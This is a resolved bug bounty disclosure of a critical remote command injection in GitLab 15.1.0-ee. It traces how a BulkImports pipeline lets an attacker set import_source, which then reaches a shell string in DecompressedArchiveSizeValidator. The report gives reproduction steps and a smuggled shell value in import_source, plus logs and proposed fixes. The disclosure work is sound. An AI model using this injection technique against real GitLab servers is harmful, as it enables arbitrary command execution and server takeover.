RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)
Critical
G
GitLab
Submitted None
Actions:
Reported by
vakzz
Vulnerability Details
Technical details and impact analysis
### Summary
The `DecompressedArchiveSizeValidator` is used to check the size of a archive before extracting it:
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/decompressed_archive_size_validator.rb#L82
```ruby
def command
"gzip -dc #{@archive_path} | wc -c"
end
def validate
pgrp = nil
valid_archive = true
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
```
Since `command` is a string and passed directly to `Open3.popen3` it will be interpreted as a shell command, so if `archive_path` contains any special characters it can be used to run arbitrary commands.
One of the places that the `DecompressedArchiveSizeValidator` is used is in the [Gitlab::ImportExport::FileImporter](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L110),
```ruby
def size_validator
@size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
end
```
It gets `@archive_file` from the constructor, and is used by the [Gitlab::ImportExport::Importer](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/importer.rb#L48) which gets it from `project.import_source`.
Under normal circumstances `import_source` is nil and is generated by the `FileImporter` using `@archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable))`.
Most of the places I've checked do not allow you to set the `import_source` for a project, or have the `import_type` set to something other than `gitlab_project` or `gitlab_custom_project_template` (which is required to use the `::Gitlab::ImportExport::Importer`).
There is one place though, in the `BulkImports::Projects::Pipelines::ProjectPipeline`. Luckily this is disabled by default as it requires the `bulk_import_projects` feature to be enabled. If/once this feature is enabled, it's possible to trigger the above flow.
This is possible as the two transformer on the `ProjectPipeline` are `:BulkImports::Common::Transformers::ProhibitedAttributesTransformer` and `::BulkImports::Projects::Transformers::ProjectAttributesTransformer`, which first removes a list of prohibited keys:
```ruby
PROHIBITED_REFERENCES = Regexp.union(
/\Acached_markdown_version\Z/,
/\Aid\Z/,
/_id\Z/,
/_ids\Z/,
/_html\Z/,
/attributes/,
/\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
).freeze
```
And then sets a few other values:
```ruby
entity = context.entity
visibility = data.delete('visibility')
data['name'] = entity.destination_name
data['path'] = entity.destination_name.parameterize
data['import_type'] = PROJECT_IMPORT_TYPE
data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?
data.transform_keys!(&:to_sym)
```
All of the other params are allowed and passed directly into `project = ::Projects::CreateService.new(context.current_user, data).execute`. The first thing the create service does its to check if it's creating from a template, and if so the `CreateFromTemplateService` is used instead:
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L25-27
```ruby
def execute
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
def create_from_template?
@params[:template_name].present? || @params[:template_project_id].present?
end
```
Since we control all of the params, this path can be triggered by setting `template_name` to a valid template such as `rails`. This then uses the `GitlabProjectsImportService` which allows the `import_type` to be changed from `gitlab_project_migration` to `gitlab_project`.
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/gitlab_projects_import_service.rb#L61-76
```ruby
def prepare_import_params
data = {}
data[:override_params] = @override_params if @override_params
if overwrite_project?
data[:original_path] = params[:path]
params[:path] += "-#{tmp_filename}"
end
if template_file
data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
params[:import_type] = 'gitlab_project'
end
params[:import_data] = { blocked: data } if data.present?
end
```
The `Projects::CreateService` service is then called again with the updated `import_type`, but the rest of our params the same. This causes the `import_schedule` to happen as `@project.gitlab_project_migration?` is no longer true
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L276-282
```ruby
def import_schedule
if @project.errors.empty?
@project.import_state.schedule if @project.import? && [email protected]_repository_import? && [email protected]_project_migration?
else
fail(error: @project.errors.full_messages.join(', '))
end
end
```
If a custom `import_source` was used, it will be used as the `@archive_file` for the `Gitlab::ImportExport::FileImporter`. After `wait_for_archived_file` has reached `MAX_RETRIES` (it continues instead of failing) then `validate_decompressed_archive_size` will be called and then `Open3.popen3` with a controllable string.
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45
```ruby
wait_for_archived_file do
validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
decompress_archive
end
def wait_for_archived_file
MAX_RETRIES.times do |retry_number|
break if File.exist?(@archive_file)
sleep(2**retry_number)
end
yield
end
```
### Steps to reproduce
1. spin up a gitlab instance
1. ssh in and enable bulk project imports with from a rails console: `sudo gitlab-rails console` then `::Feature.enable(:bulk_import_projects)`
1. start watching the logs with `sudo gitlab-ctl tail`
1. create an api token
1. create a new group
1. create a new project in that group
1. download {F1785226} and change `PROJECT_PATH` to the full path of the project above and `PROJECT_ID` to its id
1. change `"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",` to be your custom command (it cannot contain `>` as json will convert it to `\u003c`)
1. (optional) remove `proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}` if you are not using burp/another proxy
1. run it with `FLASK_APP=api_project_ql.py flask run`
1. start ngrok with `ngrok http 5000`
1. go to new group -> import group
1. enter the ngrok http address and your token from above in the `Import groups from another instance of GitLab` section
1. select the group created above, change the parent to `No parent` and choose a new group name
1. hit import
1. you should see requests being made, then after the project is imported and the `wait_for_archived_file` has timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute:
```
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
```
```bash
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$
```
### Impact
If the `bulk_import_projects` feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server
### What is the current *bug* behavior?
* The `DecompressedArchiveSizeValidator` passes a string to `popen` that can contain attacker controlled data
* The `ProjectPipeline` does not correctly filter the project params
### What is the expected *correct* behavior?
* The `DecompressedArchiveSizeValidator` should use `Gitlab::Popen` and the command should be an array of strings
* The `ProjectPipeline` should use the `Gitlab::ImportExport::AttributeCleaner` or just have a whitelist of allowed params
### Relevant logs and/or screenshots
```json
{
"severity": "ERROR",
"time": "2022-06-23T01:52:57.556Z",
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"exception.class": "Gitlab::ImportExport::Error",
"exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
"user.username": "vakzz",
"tags.program": "sidekiq",
"tags.locale": "en",
"tags.feature_category": "importers",
"tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"extra.sidekiq": {
"retry": false,
"queue": "repository_import",
"version": 0,
"backtrace": 5,
"dead": false,
"status_expiration": 86400,
"memory_killer_memory_growth_kb": 50,
"memory_killer_max_memory_growth_kb": 300000,
"args": [
"31"
],
"class": "RepositoryImportWorker",
"jid": "9d28590a58ec7db944453edc",
"created_at": 1655948922.4369478,
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"meta.user": "vakzz",
"meta.client_id": "user/2",
"meta.caller_id": "BulkImports::PipelineWorker",
"meta.remote_ip": "192.168.0.144",
"meta.feature_category": "importers",
"meta.root_caller_id": "Import::BulkImportsController#create",
"meta.project": "imported_13/export_project",
"meta.root_namespace": "imported_13",
"worker_data_consistency": "always",
"idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358",
"size_limiter": "validated",
"enqueued_at": 1655948922.442958
},
"extra.importer": "Import/Export",
"extra.exportable_id": 31,
"extra.exportable_path": "imported_13/export_project",
"extra.import_jid": null
}
```
### Output of checks
#### Results of GitLab environment info
```
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.4
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.7
Sidekiq Version:6.4.0
Go Version: unknown
GitLab information
Version: 15.1.0-ee
Revision: 31c24d2d864
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.10
URL: http://gitlab.wbowling.info
HTTP Clone URL: http://gitlab.wbowling.info/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.7.4
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
```
## Impact
If the `bulk_import_projects` feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$33510.00
Submitted
Weakness
Command Injection - Generic